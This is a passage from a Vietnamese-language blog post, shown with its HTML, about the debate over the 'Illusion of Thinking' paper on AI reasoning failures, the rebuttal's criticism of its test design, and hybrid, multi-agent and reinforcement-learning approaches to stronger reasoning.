l&#7895;i c&#7911;a ng&#432;&#7901;i th&#7917;&nbsp;nghi&#7879;m?</h3><p>M&#7897;t paper kh&#225;c &#273;&#227; ph&#7843;n b&#225;c, cho r&#7857;ng nh&#7919;ng ph&#225;t hi&#7879;n tr&#234;n ch&#7881; l&#224; &#8220;&#7843;o t&#432;&#7903;ng&#8221; do c&#225;ch thi&#7871;t k&#7871; th&#237; nghi&#7879;m c&#243; v&#7845;n &#273;&#7873;.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3L65!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3L65!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png 424w, https://substackcdn.com/image/fetch/$s_!3L65!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png 848w, https://substackcdn.com/image/fetch/$s_!3L65!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png 1272w, https://substackcdn.com/image/fetch/$s_!3L65!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3L65!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3L65!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png 424w, https://substackcdn.com/image/fetch/$s_!3L65!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png 848w, https://substackcdn.com/image/fetch/$s_!3L65!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png 1272w, https://substackcdn.com/image/fetch/$s_!3L65!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a49583e-285e-49ae-bf17-dc88e1d7984f_800x295.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h4>A. V&#7845;n &#273;&#7873; gi&#7899;i h&#7841;n &#273;&#7847;u ra: AI kh&#244;ng &#8220;l&#432;&#7901;i&#8221;, m&#224; l&#224; &#8220;h&#7871;t&nbsp;gi&#7845;y&#8221;</h4><p>L&#7853;p lu&#7853;n ch&#237;nh c&#7911;a b&#224;i ph&#7843;n bi&#7879;n l&#224; s&#7921; &#8220;s&#7909;p &#273;&#7893;&#8221; x&#7843;y ra v&#236; AI &#273;&#227; &#273;&#7841;t &#273;&#7871;n gi&#7899;i h&#7841;n &#273;&#7897; d&#224;i t&#7889;i &#273;a cho ph&#233;p c&#7911;a c&#226;u tr&#7843; l&#7901;i.</p><p>Paper y&#234;u c&#7847;u AI ph&#7843;i li&#7879;t k&#234; <em>to&#224;n b&#7897;</em> c&#225;c b&#432;&#7899;c &#273;i. V&#7899;i c&#226;u &#273;&#7889; Th&#225;p H&#224; N&#7897;i, s&#7889; b&#432;&#7899;c t&#259;ng theo c&#7845;p s&#7889; nh&#226;n.</p><p>V&#237; d&#7909;, &#273;&#7875; gi&#7843;i b&#224;i to&#225;n v&#7899;i 15 &#273;&#297;a, c&#7847;n 32,767 b&#432;&#7899;c. Vi&#7879;c vi&#7871;t ra t&#7845;t c&#7843; c&#225;c b&#432;&#7899;c n&#224;y s&#7869; c&#7847;n m&#7897;t l&#432;&#7907;ng token (t&#7915; ng&#7919;) kh&#7893;ng l&#7891;, v&#432;&#7907;t xa gi&#7899;i h&#7841;n 64,000 token m&#224; c&#225;c nh&#224; nghi&#234;n c&#7913;u &#273;&#227; &#273;&#7863;t ra.</p><p>&#272;i&#7875;m m&#224; AI &#8220;s&#7909;p &#273;&#7893;&#8221; tr&#249;ng kh&#7899;p m&#7897;t c&#225;ch ho&#224;n h&#7843;o v&#7899;i &#273;i&#7875;m m&#224; &#273;&#7897; d&#224;i c&#226;u tr&#7843; l&#7901;i v&#432;&#7907;t qu&#225; gi&#7899;i h&#7841;n cho ph&#233;p. V&#236; v&#7853;y, AI kh&#244;ng ph&#7843;i l&#224; &#8220;t&#7915; b&#7887;&#8221;, m&#224; l&#224; n&#243; kh&#244;ng th&#7875; vi&#7871;t m&#7897;t c&#226;u tr&#7843; l&#7901;i d&#224;i &#273;&#7871;n th&#7871; v&#7873; m&#7863;t v&#7853;t l&#253;.</p><h4>B. V&#7845;n &#273;&#7873; c&#226;u &#273;&#7889; b&#7845;t kh&#7843; thi: B&#7855;t AI gi&#7843;i b&#224;i to&#225;n kh&#244;ng c&#243; l&#7901;i&nbsp;gi&#7843;i</h4><p>B&#224;i paper c&#242;n ph&#225;t hi&#7879;n m&#7897;t l&#7895;i nghi&#234;m tr&#7885;ng kh&#225;c: trong c&#226;u &#273;&#7889; V&#432;&#7907;t S&#244;ng, c&#225;c nh&#224; nghi&#234;n c&#7913;u &#273;&#227; &#273;&#432;a ra nh&#7919;ng tr&#432;&#7901;ng h&#7907;p kh&#244;ng th&#7875; gi&#7843;i &#273;&#432;&#7907;c v&#7873; m&#7863;t to&#225;n h&#7885;c.</p><p>AI &#273;&#227; b&#7883; ch&#7845;m &#273;i&#7875;m &#8220;th&#7845;t b&#7841;i&#8221; v&#236; kh&#244;ng th&#7875; gi&#7843;i m&#7897;t b&#224;i to&#225;n v&#7889;n kh&#244;ng c&#243; l&#7901;i gi&#7843;i. &#272;i&#7873;u n&#224;y cho th&#7845;y s&#7921; thi&#7871;u nghi&#234;m ng&#7863;t trong qu&#225; tr&#236;nh &#273;&#225;nh gi&#225; c&#7911;a paper g&#7889;c.</p><h4>C. Th&#237; nghi&#7879;m ph&#7843;n bi&#7879;n: Thay &#273;&#7893;i c&#225;ch&nbsp;h&#7887;i</h4><p>&#272;&#7875; ch&#7913;ng minh quan &#273;i&#7875;m c&#7911;a m&#236;nh, c&#225;c t&#225;c gi&#7843; b&#224;i paper ph&#7843;n bi&#7879;n &#273;&#227; th&#7921;c hi&#7879;n m&#7897;t th&#237; nghi&#7879;m. Thay v&#236; y&#234;u c&#7847;u AI li&#7879;t k&#234; h&#224;ng ch&#7909;c ngh&#236;n b&#432;&#7899;c &#273;i cho Th&#225;p H&#224; N&#7897;i v&#7899;i 15 &#273;&#297;a, h&#7885; y&#234;u c&#7847;u:</p><p><em>&#8220;H&#227;y vi&#7871;t m&#7897;t ch&#432;&#417;ng tr&#236;nh m&#225;y t&#237;nh nh&#7887; (h&#224;m Lua) &#273;&#7875; in ra l&#7901;i gi&#7843;i cho Th&#225;p H&#224; N&#7897;i v&#7899;i 15 &#273;&#297;a.&#8221;</em>.</p><p><strong>K&#7871;t qu&#7843;:</strong> C&#225;c AI tr&#432;&#7899;c &#273;&#226;y b&#7883; &#273;i&#7875;m 0 gi&#7901; &#273;&#226;y &#273;&#227; ho&#224;n th&#224;nh xu&#7845;t s&#7855;c nhi&#7879;m v&#7909;, ch&#7881; v&#7899;i ch&#432;a &#273;&#7871;n 5,000 token. &#272;i&#7873;u n&#224;y ch&#7913;ng t&#7887; kh&#7843; n&#259;ng suy lu&#7853;n v&#224; hi&#7875;u thu&#7853;t to&#225;n c&#7911;a AI v&#7851;n c&#242;n nguy&#234;n v&#7865;n.</p><p><em>V&#7845;n &#273;&#7873; kh&#244;ng n&#7857;m &#7903; &#8220;t&#432; duy&#8221; m&#224; &#7903; c&#225;ch &#8220;tr&#236;nh b&#224;y&#8221; c&#226;u tr&#7843; l&#7901;i.</em></p><p><strong>So s&#225;nh k&#7871;t qu&#7843; hai c&#225;ch th&#7917; nghi&#7879;m cho Th&#225;p H&#224; N&#7897;i (15 &#273;&#297;a)</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zX03!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zX03!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png 424w, https://substackcdn.com/image/fetch/$s_!zX03!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png 848w, https://substackcdn.com/image/fetch/$s_!zX03!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png 1272w, https://substackcdn.com/image/fetch/$s_!zX03!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zX03!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zX03!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png 424w, https://substackcdn.com/image/fetch/$s_!zX03!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png 848w, https://substackcdn.com/image/fetch/$s_!zX03!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png 1272w, https://substackcdn.com/image/fetch/$s_!zX03!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0a215fd6-6dec-4da9-b215-6080bad68686_394x355.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h4>D. Nh&#236;n l&#7841;i cu&#7897;c tranh&nbsp;lu&#7853;n</h4><p>Cu&#7897;c tranh lu&#7853;n n&#224;y l&#224; m&#7897;t b&#224;i h&#7885;c c&#243; gi&#225; tr&#7883; v&#7873; t&#7847;m quan tr&#7885;ng c&#7911;a vi&#7879;c thi&#7871;t k&#7871; c&#225;c b&#224;i ki&#7875;m tra. C&#225;ch ch&#250;ng ta &#273;&#225;nh gi&#225; AI c&#243; th&#7875; t&#7841;o ra nh&#7919;ng hi&#7879;n t&#432;&#7907;ng sai l&#7879;ch.</p><p>N&#243; cho th&#7845;y ch&#250;ng ta c&#7847;n ph&#7843;i xem x&#233;t k&#7929; l&#432;&#7905;ng c&#225;c ph&#432;&#417;ng ph&#225;p &#273;&#225;nh gi&#225; c&#7911;a m&#236;nh c&#361;ng nh&#432; ch&#237;nh c&#225;c m&#244; h&#236;nh AI.</p><h3>IV. X&#226;y d&#7921;ng AI suy lu&#7853;n m&#7841;nh m&#7869;&nbsp;h&#417;n</h3><p>Cu&#7897;c tranh lu&#7853;n n&#224;y &#273;&#227; th&#250;c &#273;&#7849;y c&#225;c nh&#224; khoa h&#7885;c t&#236;m ki&#7871;m nh&#7919;ng ki&#7871;n tr&#250;c AI m&#7899;i, m&#7841;nh m&#7869; h&#417;n.</p><h4>A. AI Lai (Hybrid): K&#7871;t h&#7907;p s&#7921; linh ho&#7841;t v&#224; ch&#237;nh&nbsp;x&#225;c</h4><p><strong>V&#7845;n &#273;&#7873;:</strong> AI hi&#7879;n t&#7841;i g&#7863;p kh&#243; kh&#259;n trong vi&#7879;c tu&#226;n theo c&#225;c quy t&#7855;c logic v&#224; thu&#7853;t to&#225;n m&#7897;t c&#225;ch ch&#237;nh x&#225;c.</p><p>Gi&#7843;i ph&#225;p: C&#225;c h&#7879; th&#7889;ng lai k&#7871;t h&#7907;p m&#7841;ng noron (gi&#7887;i nh&#7853;n d&#7841;ng m&#7851;u, linh ho&#7841;t) v&#7899;i c&#225;c h&#7879; th&#7889;ng bi&#7875;u t&#432;&#7907;ng (gi&#7887;i logic, ch&#237;nh x&#225;c, c&#243; th&#7875; ki&#7875;m ch&#7913;ng).</p><p>V&#237; d&#7909;: HybridMind: Khung n&#224;y c&#243; m&#7897;t &#8220;b&#7897; ch&#7885;n&#8221; th&#244;ng minh, t&#7921; &#273;&#7897;ng quy&#7871;t &#273;&#7883;nh khi n&#224;o n&#234;n d&#249;ng ng&#244;n ng&#7919; t&#7921; nhi&#234;n (cho c&#225;c nhi&#7879;m v&#7909; kh&#225;i ni&#7879;m) v&#224; khi n&#224;o n&#234;n d&#249;ng m&#227; l&#7853;p tr&#236;nh (cho c&#225;c nhi&#7879;m v&#7909; &#273;&#242;i h&#7887;i t&#237;nh to&#225;n ch&#237;nh x&#225;c).</p><p>K&#7871;t qu&#7843; cho th&#7845;y c&#225;ch ti&#7871;p c&#7853;n n&#224;y hi&#7879;u qu&#7843; h&#417;n nhi&#7873;u so v&#7899;i vi&#7879;c ch&#7881; d&#7921;a v&#224;o m&#7897;t m&#244; h&#236;nh duy nh&#7845;t, d&#249; n&#243; m&#7841;nh &#273;&#7871;n &#273;&#226;u.</p><h4>B. AI l&#224;m vi&#7879;c nh&#243;m (Multi-agent): Chia &#273;&#7875;&nbsp;tr&#7883;</h4><p><strong>V&#7845;n &#273;&#7873;</strong>: M&#7897;t AI duy nh&#7845;t c&#243; th&#7875; b&#7883; &#8220;qu&#225; t&#7843;i&#8221; khi &#273;&#7889;i m&#7863;t v&#7899;i c&#225;c v&#7845;n &#273;&#7873; ph&#7913;c t&#7841;p.</p><p>Gi&#7843;i ph&#225;p: C&#225;c h&#7879; th&#7889;ng &#273;a t&#225;c t&#7917; chia m&#7897;t v&#7845;n &#273;&#7873; l&#7899;n th&#224;nh c&#225;c nhi&#7879;m v&#7909; nh&#7887; h&#417;n v&#224; giao cho c&#225;c AI chuy&#234;n bi&#7879;t. C&#225;c AI n&#224;y s&#7869; h&#7907;p t&#225;c v&#7899;i nhau &#273;&#7875; t&#236;m ra gi&#7843;i ph&#225;p cu&#7889;i c&#249;ng.</p><p>V&#237; d&#7909; 1&nbsp;: A3T (AI as a Team): Ki&#7871;n tr&#250;c n&#224;y &#273;&#432;&#7907;c t&#7841;o ra nh&#432; m&#7897;t ph&#7843;n &#7913;ng tr&#7921;c ti&#7871;p v&#7899;i paper &#8220;&#7842;o t&#432;&#7903;ng v&#7873; T&#432; duy&#8221;. N&#243; s&#7917; d&#7909;ng m&#7897;t nh&#243;m c&#225;c AI chuy&#234;n bi&#7879;t (m&#7897;t AI &#273;&#7873; xu&#7845;t, m&#7897;t AI &#273;&#225;nh gi&#225;, m&#7897;t AI t&#7893;ng h&#7907;p) l&#224;m vi&#7879;c theo m&#7897;t quy tr&#236;nh c&#243; c&#7845;u tr&#250;c &#273;&#7875; &#273;&#7843;m b&#7843;o v&#7845;n &#273;&#7873; &#273;&#432;&#7907;c gi&#7843;i quy&#7871;t m&#7897;t c&#225;ch t&#7853;n c&#249;ng nh&#7845;t.</p><p>V&#237; d&#7909; 2&nbsp;: Magentic-One: M&#7897;t h&#7879; th&#7889;ng m&#227; ngu&#7891;n m&#7903; c&#7911;a Microsoft, c&#243; m&#7897;t AI &#8220;&#272;i&#7873;u ph&#7889;i vi&#234;n&#8221; qu&#7843;n l&#253; c&#244;ng vi&#7879;c v&#224; giao nhi&#7879;m v&#7909; cho c&#225;c AI chuy&#234;n v&#7873; l&#432;&#7899;t web, x&#7917; l&#253; t&#7879;p, vi&#7871;t code,&nbsp;&#8230;etc</p><h4>C. Reinforcement Learning&#8202;&#8212;&#8202;RL: T&#7921; c&#7843;i&nbsp;thi&#7879;n</h4><p><strong>V&#7845;n &#273;&#7873;</strong>: Vi&#7879;c ch&#7881; h&#7885;c t&#7915; c&#225;c b&#7897; d&#7919; li&#7879;u t&#297;nh l&#224; kh&#244;ng &#273;&#7911; &#273;&#7875; t&#7841;o ra kh&#7843; n&#259;ng suy lu&#7853;n linh ho&#7841;t.</p><p>Gi&#7843;i ph&#225;p: H&#7885;c t&#259;ng c&#432;&#7901;ng cho ph&#233;p AI h&#7885;c h&#7887;i t&#7915; vi&#7879;c th&#7917; v&#224; sai. C&#225;c ph&#432;&#417;ng ph&#225;p RL g&#7847;n &#273;&#226;y &#273;&#227; tr&#7903; n&#234;n tinh vi h&#417;n, gi&#250;p t&#7889;i &#432;u h&#243;a qu&#225; tr&#236;nh suy lu&#7853;n m&#7897;t c&#225;ch hi&#7879;u qu&#7843;.</p><p>V&#237; d&#7909; 1&nbsp;: SiriuS: Khung n&#224;y x&#226;y d&#7921;ng m&#7897;t &#8220;th&#432; vi&#7879;n kinh nghi&#7879;m&#8221; b&#7857;ng c&#225;ch thu th&#7853;p c&#225;c chu&#7895;i t&#432;&#417;ng t&#225;c th&#224;nh c&#244;ng c&#7911;a c&#225;c AI. Th&#432; vi&#7879;n n&#224;y sau &#273;&#243; &#273;&#432;&#7907;c d&#249;ng l&#224;m d&#7919; li&#7879;u ch&#7845;t l&#432;&#7907;ng cao &#273;&#7875; hu&#7845;n luy&#7879;n v&#224; c&#7843;i thi&#7879;n c&#225;c AI, gi&#250;p ch&#250;ng t&#7921; kh&#7903;i &#273;&#7897;ng qu&#225; tr&#236;nh h&#7885;c h&#7887;i c&#7911;a m&#236;nh.</p><p>V&#237; d&#7909; 2&nbsp;: RL cho AI nh&#7887;: M&#7897;t nghi&#234;n c&#7913;u cho th&#7845;y ch&#7881; v&#7899;i m&#7897;t ng&#226;n s&#225;ch r&#7845;t nh&#7887; (42 USD), h&#7885; c&#243; th&#7875; c&#7843;i thi&#7879;n &#273;&#225;ng k&#7875; kh&#7843; n&#259;ng suy lu&#7853;n to&#225;n h&#7885;c c&#7911;a m&#7897;t m&#244; h&#236;nh AI nh&#7887; b&#7857;ng c&#225;ch s&#7917; d&#7909;ng c&#225;c thu&#7853;t to&#225;n RL ti&#234;n ti&#7871;n v&#224; c&#225;c ph&#7847;n th&#432;&#7903;ng th&#244;ng minh.</p><p>&#272;i&#7873;u n&#224;y th&#225;ch th&#7913;c quan ni&#7879;m r&#7857;ng &#8220;c&#7913; to l&#224; t&#7889;t&#8221;.</p><p><strong>So s&#225;nh c&#225;c h&#432;&#7899;ng ti&#7871;p c&#7853;n m&#7899;i cho AI suy lu&#7853;n</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!d0aq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!d0aq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png 424w, https://substackcdn.com/image/fetch/$s_!d0aq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png 848w, https://substackcdn.com/image/fetch/$s_!d0aq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png 1272w, https://substackcdn.com/image/fetch/$s_!d0aq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!d0aq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/75808398-6460-49f4-b55a-cac268d1be16_598x334.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!d0aq!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png 424w, https://substackcdn.com/image/fetch/$s_!d0aq!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png 848w, https://substackcdn.com/image/fetch/$s_!d0aq!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png 1272w, https://substackcdn.com/image/fetch/$s_!d0aq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F75808398-6460-49f4-b55a-cac268d1be16_598x334.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3>V. K&#7871;t lu&#7853;n v&#224; H&#432;&#7899;ng &#273;i T&#432;&#417;ng&nbsp;lai</h3><h4>A. T&#7893;ng k&#7871;t cu&#7897;c tranh&nbsp;lu&#7853;n</h4><p>B&#224;i paper &#8220;&#7842;o t&#432;&#7903;ng v&#7873; T&#432; duy&#8221; r&#7845;t quan tr&#7885;ng, nh&#432;ng c&#243; l&#7869; ph&#7847;n n&#224;o c&#243; k&#7871;t lu&#7853;n sai l&#7847;m. Gi&#225; tr&#7883; l&#7899;n nh&#7845;t c&#7911;a n&#243; l&#224; &#273;&#227; kh&#417;i m&#224;o cho m&#7897;t cu&#7897;c tranh lu&#7853;n c&#7847;n thi&#7871;t, bu&#7897;c ch&#250;ng ta ph&#7843;i nh&#236;n nh&#7853;n l&#7841;i nh&#7919;ng &#273;i&#7875;m y&#7871;u c&#7911;a AI. B&#224;i ph&#7843;n bi&#7879;n &#273;&#227; ch&#7881; ra m&#7897;t c&#225;ch thuy&#7871;t ph&#7909;c r&#7857;ng &#8220;s&#7921; s&#7909;p &#273;&#7893;&#8221; c&#7911;a AI ch&#7911; y&#7871;u l&#224; do l&#7895;i trong c&#225;ch ch&#250;ng ta ki&#7875;m tra ch&#250;ng.</p><p>S&#7921; th&#7853;t n&#7857;m &#7903; &#273;&#226;u &#273;&#243; gi&#7919;a hai lu&#7891;ng &#253; ki&#7871;n: AI hi&#7879;n t&#7841;i kh&#244;ng ph&#7843;i l&#224; nh&#7919;ng c&#7895; m&#225;y ch&#7881; bi&#7871;t b&#7855;t ch&#432;&#7899;c, nh&#432;ng kh&#7843; n&#259;ng suy lu&#7853;n c&#7911;a ch&#250;ng v&#7851;n c&#242;n xa m&#7899;i &#273;&#7841;t &#273;&#7871;n m&#7913;c &#273;&#7897; m&#7841;nh m&#7869; v&#224; &#273;&#225;ng tin c&#7853;y nh&#432; con ng&#432;&#7901;i.</p><h4>B. T&#432;&#417;ng lai c&#7911;a vi&#7879;c &#273;&#225;nh gi&#225;&nbsp;AI</h4><p>Ch&#250;ng ta c&#7847;n nh&#7919;ng b&#224;i ki&#7875;m tra AI t&#7889;t h&#417;n, nghi&#234;m ng&#7863;t h&#417;n.</p><ol><li><p><strong>B&#7897; ti&#234;u chu&#7849;n t&#7889;t h&#417;n:</strong> C&#7847;n c&#225;c b&#224;i ki&#7875;m tra kh&#244;ng b&#7883; &#8220;nhi&#7877;m&#8221; d&#7919; li&#7879;u v&#224; c&#243; c&#225;c quy t&#7855;c c&#244;ng b&#7857;ng, kh&#7843; thi.</p></li><li><p><strong>&#272;&#225;nh gi&#225; qu&#225; tr&#236;nh, kh&#244;ng ch&#7881; k&#7871;t qu&#7843;:</strong> C&#7847;n ph&#226;n t&#237;ch c&#225;c b&#432;&#7899;c suy lu&#7853;n c&#7911;a AI &#273;&#7875; xem ch&#250;ng c&#243; logic v&#224; hi&#7879;u qu&#7843; kh&#244;ng.</p></li><li><p><strong>Ki&#7875;m tra c&#225;c k&#7929; n&#259;ng c&#7909; th&#7875;:</strong> C&#7847;n c&#225;c b&#224;i ki&#7875;m tra nh&#7855;m v&#224;o c&#225;c k&#7929; n&#259;ng suy lu&#7853;n ri&#234;ng bi&#7879;t nh&#432; suy lu&#7853;n kh&#244;ng gian hay kh&#7843; n&#259;ng t&#7921; nh&#7853;n ra l&#7895;i sai c&#7911;a m&#236;nh.</p></li></ol><p>Con &#273;&#432;&#7901;ng d&#7851;n &#273;&#7871;n AI th&#244;ng minh h&#417;n kh&#244;ng ch&#7881; &#273;&#417;n gi&#7843;n l&#224; x&#226;y d&#7921;ng c&#225;c m&#244; h&#236;nh l&#7899;n h&#417;n.</p><ol><li><p><strong>Ch&#7845;p nh&#7853;n s&#7921; lai gh&#233;p:</strong> &#272;&#7847;u t&#432; v&#224;o c&#225;c ki&#7871;n tr&#250;c k&#7871;t h&#7907;p AI ng&#244;n ng&#7919; v&#7899;i c&#225;c c&#244;ng c&#7909; logic b&#234;n ngo&#224;i (nh&#432; HybridMind). &#272;&#226;y l&#224; c&#225;ch nhanh nh&#7845;t &#273;&#7875; kh&#7855;c ph&#7909;c c&#225;c l&#7895;i t&#237;nh to&#225;n.</p></li><li><p><strong>Ph&#226;n r&#227; s&#7921; ph&#7913;c t&#7841;p:</strong> S&#7917; d&#7909;ng c&#225;c h&#7879; th&#7889;ng AI l&#224;m vi&#7879;c nh&#243;m (nh&#432; A3T v&#224; Magentic-One) cho c&#225;c nhi&#7879;m 